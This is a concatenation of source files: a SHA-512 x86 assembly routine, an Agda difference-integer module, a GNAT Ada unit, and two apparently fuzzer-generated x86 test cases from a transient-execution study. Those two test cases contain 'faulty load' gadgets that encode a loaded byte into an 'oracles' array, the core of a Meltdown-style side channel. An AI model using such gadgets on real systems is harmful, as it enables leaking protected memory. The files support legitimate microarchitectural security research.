;add h, y2 ; h = k + w + h + S0 + S1 + CH = t1 + S0 ; --
;add h, y3 ; h = t1 + S0 + MAJ ; --
RotateState
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; RND N + 3 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
add old_h, y2 ; h = k + w + h + S0 + S1 + CH = t1 + S0 ; --
mov y2, f ; y2 = f ; CH
rorx y0, e, 41 ; y0 = e >> 41 ; S1A
rorx y1, e, 18 ; y1 = e >> 18 ; S1B
xor y2, g ; y2 = f^g ; CH
xor y0, y1 ; y0 = (e>>41) ^ (e>>18) ; S1
rorx y1, e, 14 ; y1 = (e >> 14) ; S1
and y2, e ; y2 = (f^g)&e ; CH
add old_h, y3 ; h = t1 + S0 + MAJ ; --
xor y0, y1 ; y0 = (e>>41) ^ (e>>18) ^ (e>>14) ; S1
rorx T1, a, 34 ; T1 = a >> 34 ; S0B
xor y2, g ; y2 = CH = ((f^g)&e)^g ; CH
rorx y1, a, 39 ; y1 = a >> 39 ; S0A
mov y3, a ; y3 = a ; MAJA
xor y1, T1 ; y1 = (a>>39) ^ (a>>34) ; S0
rorx T1, a, 28 ; T1 = (a >> 28) ; S0
add h, [rsp + frame.XFER + 8*3] ; h = k + w + h ; --
or y3, c ; y3 = a|c ; MAJA
xor y1, T1 ; y1 = (a>>39) ^ (a>>34) ^ (a>>28) ; S0
mov T1, a ; T1 = a ; MAJB
and y3, b ; y3 = (a|c)&b ; MAJA
and T1, c ; T1 = a&c ; MAJB
add y2, y0 ; y2 = S1 + CH ; --
add d, h ; d = k + w + h + d ; --
or y3, T1 ; y3 = MAJ = (a|c)&b)|(a&c) ; MAJ
add h, y1 ; h = k + w + h + S0 ; --
add d, y2 ; d = k + w + h + d + S1 + CH = d + t1 ; --
add h, y2 ; h = k + w + h + S0 + S1 + CH = t1 + S0 ; --
add h, y3 ; h = t1 + S0 + MAJ ; --
RotateState
%endm
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; void sha512_rorx(const void* M, void* D, uint64_t L);
; Purpose: Updates the SHA512 digest stored at D with the message stored in M.
; The size of the message pointed to by M must be an integer multiple of SHA512
; message blocks.
; L is the message length in SHA512 blocks
global sha512_rorx:function
sha512_rorx:
; Allocate Stack Space
mov rax, rsp
sub rsp, frame_size
and rsp, ~(0x20 - 1)
mov [rsp + frame.RSPSAVE], rax
; Save GPRs
mov [rsp + frame.GPRSAVE + 8 * 0], rbp
mov [rsp + frame.GPRSAVE + 8 * 1], rbx
mov [rsp + frame.GPRSAVE + 8 * 2], r12
mov [rsp + frame.GPRSAVE + 8 * 3], r13
mov [rsp + frame.GPRSAVE + 8 * 4], r14
mov [rsp + frame.GPRSAVE + 8 * 5], r15
%ifdef WINABI
mov [rsp + frame.GPRSAVE + 8 * 6], rsi
mov [rsp + frame.GPRSAVE + 8 * 7], rdi
%endif
%ifdef WINABI
vmovdqa [rsp + frame.XMMSAVE + 0*16], xmm6
vmovdqa [rsp + frame.XMMSAVE + 1*16], xmm7
vmovdqa [rsp + frame.XMMSAVE + 2*16], xmm8
vmovdqa [rsp + frame.XMMSAVE + 3*16], xmm9
%endif
vpblendd xmm0, xmm0, xmm1, 0xf0
vpblendd ymm0, ymm0, ymm1, 0xf0
shl NUM_BLKS, 7 ; convert to bytes
jz done_hash
add NUM_BLKS, INP ; pointer to end of data
mov [rsp + frame.INPEND], NUM_BLKS
;; load initial digest
mov a,[8*0 + CTX]
mov b,[8*1 + CTX]
mov c,[8*2 + CTX]
mov d,[8*3 + CTX]
mov e,[8*4 + CTX]
mov f,[8*5 + CTX]
mov g,[8*6 + CTX]
mov h,[8*7 + CTX]
vmovdqa BYTE_FLIP_MASK, [PSHUFFLE_BYTE_FLIP_MASK wrt rip]
loop0:
lea TBL,[K512 wrt rip]
;; byte swap first 16 dwords
COPY_YMM_AND_BSWAP Y_0, [INP + 0*32], BYTE_FLIP_MASK
COPY_YMM_AND_BSWAP Y_1, [INP + 1*32], BYTE_FLIP_MASK
COPY_YMM_AND_BSWAP Y_2, [INP + 2*32], BYTE_FLIP_MASK
COPY_YMM_AND_BSWAP Y_3, [INP + 3*32], BYTE_FLIP_MASK
mov [rsp + frame.INP], INP
;; schedule 64 input dwords, by doing 12 rounds of 4 each
mov qword[rsp + frame.SRND],4
align 16
loop1:
vpaddq XFER, Y_0, [TBL + 0*32]
vmovdqa [rsp + frame.XFER], XFER
FOUR_ROUNDS_AND_SCHED
vpaddq XFER, Y_0, [TBL + 1*32]
vmovdqa [rsp + frame.XFER], XFER
FOUR_ROUNDS_AND_SCHED
vpaddq XFER, Y_0, [TBL + 2*32]
vmovdqa [rsp + frame.XFER], XFER
FOUR_ROUNDS_AND_SCHED
vpaddq XFER, Y_0, [TBL + 3*32]
vmovdqa [rsp + frame.XFER], XFER
add TBL, 4*32
FOUR_ROUNDS_AND_SCHED
sub qword[rsp + frame.SRND], 1
jne loop1
mov qword[rsp + frame.SRND], 2
loop2:
vpaddq XFER, Y_0, [TBL + 0*32]
vmovdqa [rsp + frame.XFER], XFER
DO_4ROUNDS
vpaddq XFER, Y_1, [TBL + 1*32]
vmovdqa [rsp + frame.XFER], XFER
add TBL, 2*32
DO_4ROUNDS
vmovdqa Y_0, Y_2
vmovdqa Y_1, Y_3
sub qword[rsp + frame.SRND], 1
jne loop2
addm [8*0 + CTX],a
addm [8*1 + CTX],b
addm [8*2 + CTX],c
addm [8*3 + CTX],d
addm [8*4 + CTX],e
addm [8*5 + CTX],f
addm [8*6 + CTX],g
addm [8*7 + CTX],h
mov INP, [rsp + frame.INP]
add INP, 128
cmp INP, [rsp + frame.INPEND]
jne loop0
done_hash:
%ifdef WINABI
vmovdqa xmm6, [rsp + frame.XMMSAVE + 0*16]
vmovdqa xmm7, [rsp + frame.XMMSAVE + 1*16]
vmovdqa xmm8, [rsp + frame.XMMSAVE + 2*16]
vmovdqa xmm9, [rsp + frame.XMMSAVE + 3*16]
%endif
; Restore GPRs
mov rbp, [rsp + frame.GPRSAVE + 8 * 0]
mov rbx, [rsp + frame.GPRSAVE + 8 * 1]
mov r12, [rsp + frame.GPRSAVE + 8 * 2]
mov r13, [rsp + frame.GPRSAVE + 8 * 3]
mov r14, [rsp + frame.GPRSAVE + 8 * 4]
mov r15, [rsp + frame.GPRSAVE + 8 * 5]
%ifdef WINABI
mov rsi, [rsp + frame.GPRSAVE + 8 * 6]
mov rdi, [rsp + frame.GPRSAVE + 8 * 7]
%endif
; Restore Stack Pointer
mov rsp, [rsp + frame.RSPSAVE]
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; Binary Data
section .data
align 64
; K[t] used in SHA512 hashing
K512:
dq 0x428a2f98d728ae22,0x7137449123ef65cd
dq 0xb5c0fbcfec4d3b2f,0xe9b5dba58189dbbc
dq 0x3956c25bf348b538,0x59f111f1b605d019
dq 0x923f82a4af194f9b,0xab1c5ed5da6d8118
dq 0xd807aa98a3030242,0x12835b0145706fbe
dq 0x243185be4ee4b28c,0x550c7dc3d5ffb4e2
dq 0x72be5d74f27b896f,0x80deb1fe3b1696b1
dq 0x9bdc06a725c71235,0xc19bf174cf692694
dq 0xe49b69c19ef14ad2,0xefbe4786384f25e3
dq 0x0fc19dc68b8cd5b5,0x240ca1cc77ac9c65
dq 0x2de92c6f592b0275,0x4a7484aa6ea6e483
dq 0x5cb0a9dcbd41fbd4,0x76f988da831153b5
dq 0x983e5152ee66dfab,0xa831c66d2db43210
dq 0xb00327c898fb213f,0xbf597fc7beef0ee4
dq 0xc6e00bf33da88fc2,0xd5a79147930aa725
dq 0x06ca6351e003826f,0x142929670a0e6e70
dq 0x27b70a8546d22ffc,0x2e1b21385c26c926
dq 0x4d2c6dfc5ac42aed,0x53380d139d95b3df
dq 0x650a73548baf63de,0x766a0abb3c77b2a8
dq 0x81c2c92e47edaee6,0x92722c851482353b
dq 0xa2bfe8a14cf10364,0xa81a664bbc423001
dq 0xc24b8b70d0f89791,0xc76c51a30654be30
dq 0xd192e819d6ef5218,0xd69906245565a910
dq 0xf40e35855771202a,0x106aa07032bbd1b8
dq 0x19a4c116b8d2d0c8,0x1e376c085141ab53
dq 0x2748774cdf8eeb99,0x34b0bcb5e19b48a8
dq 0x391c0cb3c5c95a63,0x4ed8aa4ae3418acb
dq 0x5b9cca4f7763e373,0x682e6ff3d6b2b8a3
dq 0x748f82ee5defb2fc,0x78a5636f43172f60
dq 0x84c87814a1f0ab72,0x8cc702081a6439ec
dq 0x90befffa23631e28,0xa4506cebde82bde9
dq 0xbef9a3f7b2c67915,0xc67178f2e372532b
dq 0xca273eceea26619c,0xd186b8c721c0c207
dq 0xeada7dd6cde0eb1e,0xf57d4f7fee6ed178
dq 0x06f067aa72176fba,0x0a637dc5a2c898a6
dq 0x113f9804bef90dae,0x1b710b35131c471b
dq 0x28db77f523047d84,0x32caab7b40c72493
dq 0x3c9ebe0a15c9bebc,0x431d67c49c100d4c
dq 0x4cc5d4becb3e42b6,0x597f299cfc657e2a
dq 0x5fcb6fab3ad6faec,0x6c44198c4a475817
align 32
; Mask for byte-swapping a couple of qwords in an XMM register using (v)pshufb.
PSHUFFLE_BYTE_FLIP_MASK: ddq 0x08090a0b0c0d0e0f0001020304050607
ddq 0x18191a1b1c1d1e1f1011121314151617
MASK_YMM_LO: ddq 0x00000000000000000000000000000000
ddq 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
|
Transynther/x86/_processed/NONE/_xt_sm_/i7-8650U_0xd2_notsx.log_727_376.asm | ljhsiun2/medusa | 9 | 170185 | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r15
push %r9
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x1cbc4, %rsi
lea addresses_UC_ht+0x17d24, %rdi
nop
xor $23510, %r10
mov $5, %rcx
rep movsq
nop
nop
nop
nop
add $29007, %rax
lea addresses_WC_ht+0x1ce64, %r15
nop
nop
nop
nop
nop
xor %r9, %r9
mov (%r15), %cx
nop
nop
nop
nop
nop
inc %r10
lea addresses_D_ht+0x199e4, %rsi
lea addresses_D_ht+0x1b3a4, %rdi
nop
nop
nop
inc %r13
mov $36, %rcx
rep movsq
nop
nop
nop
nop
sub %r15, %r15
lea addresses_A_ht+0x141b4, %rsi
lea addresses_UC_ht+0x1a0a6, %rdi
nop
nop
nop
nop
nop
inc %r13
mov $6, %rcx
rep movsw
nop
nop
nop
nop
add %r10, %r10
lea addresses_UC_ht+0x8924, %r15
nop
nop
xor $48458, %rdi
movups (%r15), %xmm7
vpextrq $0, %xmm7, %rcx
nop
nop
nop
nop
dec %r9
lea addresses_WC_ht+0x5540, %rax
and %rdi, %rdi
movl $0x61626364, (%rax)
nop
nop
nop
nop
nop
add $48127, %r10
lea addresses_A_ht+0xdf24, %r13
nop
nop
add $57598, %r9
movups (%r13), %xmm5
vpextrq $0, %xmm5, %r15
nop
dec %r10
lea addresses_WC_ht+0x19b62, %rax
nop
nop
nop
nop
sub %r15, %r15
movl $0x61626364, (%rax)
nop
nop
nop
nop
nop
add %r10, %r10
lea addresses_D_ht+0x4dd7, %rsi
lea addresses_A_ht+0x16b24, %rdi
nop
nop
nop
nop
cmp $49431, %r9
mov $60, %rcx
rep movsl
nop
nop
nop
nop
nop
and $34475, %r13
lea addresses_normal_ht+0x5924, %rsi
lea addresses_WC_ht+0x15524, %rdi
nop
and $41410, %r10
mov $52, %rcx
rep movsq
sub $6062, %r13
lea addresses_A_ht+0x9e14, %rsi
lea addresses_WC_ht+0x2d24, %rdi
clflush (%rdi)
nop
nop
nop
sub %r9, %r9
mov $74, %rcx
rep movsb
nop
nop
nop
cmp $62720, %r9
lea addresses_D_ht+0xc461, %rcx
clflush (%rcx)
nop
nop
nop
sub $20736, %r10
movb (%rcx), %r13b
nop
nop
xor $25446, %rsi
lea addresses_A_ht+0x14f14, %r9
nop
cmp $47375, %rcx
mov $0x6162636465666768, %r13
movq %r13, %xmm5
movups %xmm5, (%r9)
nop
xor %rcx, %rcx
lea addresses_WC_ht+0x1924, %rax
nop
nop
and %r9, %r9
movb $0x61, (%rax)
nop
nop
nop
nop
nop
and $56398, %r15
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r15
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r15
push %r8
push %rax
push %rcx
push %rdi
push %rsi
// REPMOV
lea addresses_RW+0x11424, %rsi
lea addresses_WC+0xcf24, %rdi
nop
nop
nop
nop
dec %r11
mov $112, %rcx
rep movsw
nop
nop
nop
nop
xor %r11, %r11
// Store
lea addresses_WT+0x12e04, %rsi
nop
sub $10802, %rax
mov $0x5152535455565758, %r11
movq %r11, (%rsi)
nop
nop
nop
nop
nop
cmp $65058, %rsi
// Store
lea addresses_UC+0x3b24, %r8
clflush (%r8)
inc %r11
movb $0x51, (%r8)
nop
nop
and $19806, %r11
// Load
lea addresses_D+0x2c64, %r8
nop
and %r15, %r15
movb (%r8), %cl
nop
nop
nop
nop
xor %r11, %r11
// Store
lea addresses_normal+0x924, %rax
nop
nop
and $63794, %r8
movb $0x51, (%rax)
nop
inc %r11
// Store
lea addresses_normal+0x9924, %rax
nop
and %rdi, %rdi
movw $0x5152, (%rax)
nop
nop
and $2848, %rcx
// Load
lea addresses_WC+0x14924, %rax
nop
xor $48313, %r8
mov (%rax), %cx
xor $40735, %rax
// Store
lea addresses_WC+0xc564, %rcx
nop
nop
add %rdi, %rdi
mov $0x5152535455565758, %r8
movq %r8, %xmm0
vmovntdq %ymm0, (%rcx)
dec %rdi
// Load
lea addresses_RW+0x10f24, %r11
nop
nop
nop
nop
nop
cmp $53035, %rdi
mov (%r11), %rcx
nop
nop
nop
nop
xor $19403, %r15
// Store
mov $0x5d8c10000000124, %rax
nop
nop
sub %rsi, %rsi
mov $0x5152535455565758, %r15
movq %r15, (%rax)
nop
nop
sub $19489, %rax
// Store
lea addresses_WC+0x5ea4, %rsi
nop
nop
nop
dec %r11
movb $0x51, (%rsi)
nop
inc %rax
// Faulty Load
lea addresses_normal+0x924, %r8
nop
nop
sub $38640, %r15
movb (%r8), %al
lea oracles, %r8
and $0xff, %rax
shlq $12, %rax
mov (%r8,%rax,1), %rax
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r8
pop %r15
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_RW', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WC', 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 1, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 32, 'AVXalign': False, 'NT': True, 'congruent': 1, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False, 'NT': True, 'congruent': 5, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': True}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'51': 727}
51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51
*/
|
Cubical/Data/DiffInt/Base.agda | mchristianl/cubical | 0 | 5257 | <filename>Cubical/Data/DiffInt/Base.agda
{-# OPTIONS --cubical --no-import-sorts --safe #-}
module Cubical.Data.DiffInt.Base where
open import Cubical.Foundations.Prelude
open import Cubical.HITs.SetQuotients.Base
open import Cubical.Data.Sigma
open import Cubical.Data.Nat
rel : (ℕ × ℕ) → (ℕ × ℕ) → Type₀
rel (a₀ , b₀) (a₁ , b₁) = x ≡ y
where
x = a₀ + b₁
y = a₁ + b₀
ℤ = (ℕ × ℕ) / rel
open import Cubical.Data.Nat.Literals public
instance
fromNatDiffInt : HasFromNat ℤ
fromNatDiffInt = record { Constraint = λ _ → Unit ; fromNat = λ n → [ n , 0 ] }
instance
fromNegDiffInt : HasFromNeg ℤ
fromNegDiffInt = record { Constraint = λ _ → Unit ; fromNeg = λ n → [ 0 , n ] }
|
Transynther/x86/_processed/NC/_zr_/i7-7700_9_0xca.log_20989_955.asm | ljhsiun2/medusa | 9 | 91824 | <gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %rbx
push %rdx
lea addresses_normal_ht+0xf99c, %r10
nop
nop
nop
nop
xor %rbx, %rbx
mov (%r10), %rdx
nop
nop
sub %r10, %r10
pop %rdx
pop %rbx
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r9
push %rax
push %rbx
push %rdi
// Store
mov $0xadb640000000f9c, %r9
nop
nop
nop
nop
nop
sub %rdi, %rdi
mov $0x5152535455565758, %r13
movq %r13, %xmm5
movups %xmm5, (%r9)
nop
cmp $1630, %r9
// Faulty Load
mov $0xadb640000000f9c, %rax
clflush (%rax)
inc %r12
movups (%rax), %xmm7
vpextrq $1, %xmm7, %r9
lea oracles, %rbx
and $0xff, %r9
shlq $12, %r9
mov (%rbx,%r9,1), %r9
pop %rdi
pop %rbx
pop %rax
pop %r9
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 16, 'NT': False, 'type': 'addresses_NC'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 16, 'NT': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 6, 'AVXalign': False, 'same': True, 'size': 8, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'00': 20989}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
llvm-gcc-4.2-2.9/gcc/ada/sinput-p.adb | vidkidz/crossbridge | 1 | 16913 | ------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- S I N P U T . P --
-- --
-- B o d y --
-- --
-- Copyright (C) 1992-2006, Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 2, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
-- for more details. You should have received a copy of the GNU General --
-- Public License distributed with GNAT; see file COPYING. If not, write --
-- to the Free Software Foundation, 51 Franklin Street, Fifth Floor, --
-- Boston, MA 02110-1301, USA. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
with Prj.Err;
with Sinput.C;
package body Sinput.P is
First : Boolean := True;
-- Flag used when Load_Project_File is called the first time,
-- to set Main_Source_File.
-- The flag is reset to False at the first call to Load_Project_File
-----------------------
-- Load_Project_File --
-----------------------
function Load_Project_File (Path : String) return Source_File_Index is
X : Source_File_Index;
begin
X := Sinput.C.Load_File (Path);
if First then
Main_Source_File := X;
First := False;
end if;
return X;
end Load_Project_File;
--------------------------------
-- Restore_Project_Scan_State --
--------------------------------
